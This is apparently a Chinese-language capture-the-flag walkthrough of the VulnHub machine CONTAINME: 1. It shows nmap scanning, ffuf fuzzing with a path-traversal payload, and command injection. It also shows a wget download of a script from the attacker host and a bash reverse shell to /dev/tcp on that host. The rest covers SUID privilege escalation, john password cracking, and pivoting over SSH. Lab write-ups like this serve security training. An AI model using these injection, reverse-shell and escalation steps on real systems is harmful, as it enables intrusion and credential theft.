準備:
攻擊機:虛擬機器kali、本機win10。
靶機:CONTAINME: 1,下載地址:https://download.vulnhub.com/containme/THM-ContainMe-v4.ova,下載後直接vm開啟即可。
知識點:命令執行、ffuf爆破引數、hxd使用、ida使用(逆向)、john爆破、可疑檔案提權、mysql基本操作。
資訊收集:
透過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 172.20.10.0/24,獲得靶機地址:172.20.10.3。
掃描下埠對應的服務:nmap -T4 -sV -p- -A 172.20.10.3,顯示開放了22、80、2222、8022埠,開啟了ssh、http服務。
目錄掃描:
使用dirmap對80埠進行目錄掃描,發現了index.php、info.php、index.html檔案。
訪問index.php返回一個目錄資訊,在其原始碼資訊中出現隱藏資訊:where is the path ?,猜測這裡應該是存在引數並且可能執行了ls -al之類的系統命令。
引數爆破:
使用ffuf進行引數爆破,命令:ffuf -u 'http://172.20.10.3/index.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 329,成功獲得引數名稱:path。最後的-fs是為了過濾下無用的返回資訊,需要根據具體情況進行調整,這裡使用-fs 329就可以。
使用獲得path引數輸入命令:;id或|id進行測試,發現確實存在命令執行漏洞。
獲取shell:
測試時直接使用bash、nc無法反彈shell,透過echo寫入指令碼檔案也是無法寫入成功的,後來使用命令:ls -al /檢視了下目錄許可權,發現只有/tmp目錄才具有寫入許可權,但是使用echo往/tmp寫入仍是失敗。
後來只能在本地寫好指令碼然後開啟http服務,透過命令執行漏洞下載該指令碼,命令:;wget -P /tmp http://172.20.10.2:8000/shell.sh。然後透過命令:;ls -al /tmp可以檢視上傳的指令碼資訊。如果不確定上傳的目錄,可以透過ls -al /檢視下具有寫入許可權的目錄,不過一般/tmp都可以寫入。
#!/bin/bash
bash -c 'bash -i >&/dev/tcp/172.20.10.2/6688 0>&1'
寫入指令碼檔案後在kali端開啟對6688埠的監聽,命令:nc -lvvp 6688,然後利用命令執行漏洞使用bash進行執行shell.sh檔案,命令:bash /tmp/shell.sh,成功獲得shell許可權。
嘗試提權:
檢視下當前賬戶是否存在可以使用的特權命令,sudo -l,但是這個方法這裡行不通。
原來想去/home目錄下查詢下flag檔案,但是在/home/mike目錄下發現了一個可疑檔案,執行該檔案結果如下。
使用strings、strace檢視或除錯該檔案資訊,但是均失敗,顯示不存在該命令,想用python開啟web服務下載該檔案也是失敗。
逆向程式碼資訊:
那就只能檢視下該檔案的二進位制資料,命令:xxd -ps /home/mike/1cryptupx。
使用hxd將十六進位制編碼恢復並匯出為1cryptupx檔案。
使用ida開啟1cryptupx檔案,檢視下其程式碼資訊並對程式碼資訊進行分析,發現是當我們輸入的密碼與hash值比對正確時時會執行/bin/bash,那就將hash值複製下來進行爆破,命令:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt,成功得到密碼:mike。
提權至root:
加上密碼:mike執行1cryptupx檔案,但是返回的仍是www-data許可權。
那我們檢視當前使用者下具有root許可權的可執行檔案都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,發現了:/usr/share/man/zh_TW/crypt,看到名字和1cryptupx都具有crypt。
檢視該檔案許可權顯示當前賬戶具有可執行許可權,使用獲得密碼:mike進行執行,成功獲得root許可權,但是未發現flag值,但是發現root後面顯示是host1,猜測是否存在另一個虛擬映象。
提權2:
檢視主機ip發現兩個新的ip地址:192.168.250.10、172.16.20.2,emmmm接著搞吧。使用nmap對該地址進行掃描,命令:nmap -sn 172.16.20.0/24,但是容器中未安裝nmap,需要自己安裝:apt install nmap,掃描完成之後發現了172.16.20.6。
掃描下主機172.16.20.6開放的埠對應的服務:nmap -A 172.16.20.6,顯示開放了22埠和ssh服務。
雖然開放了ssh服務,但是我們缺少登入密碼進行登入,但是在mike賬戶下發現了密匙資訊,因此嘗試下使用mike賬戶的密匙資訊進行登入,命令:ssh mike@172.16.20.6 -i id_rsa,成功登入。
檢視下當前開啟的服務,命令:ss -tuln,發現了mysql服務。
這裡嘗試了下常用的弱密碼,最後password成功連線資料庫,命令:mysql -umike -ppassword,然後在account資料庫中發現了root賬戶和mike賬戶的密碼資訊:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere。
利用獲得密碼資訊:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere切換成root賬戶,然後在root賬戶下的/root目錄下發現mike.zip檔案。
解壓mike.zip檔案需要輸入密碼,嘗試使用mike賬戶的密碼:WhatAreYouDoingHere進行解密,獲得解密後的檔案並讀取檔案資訊,成功獲取到flag值。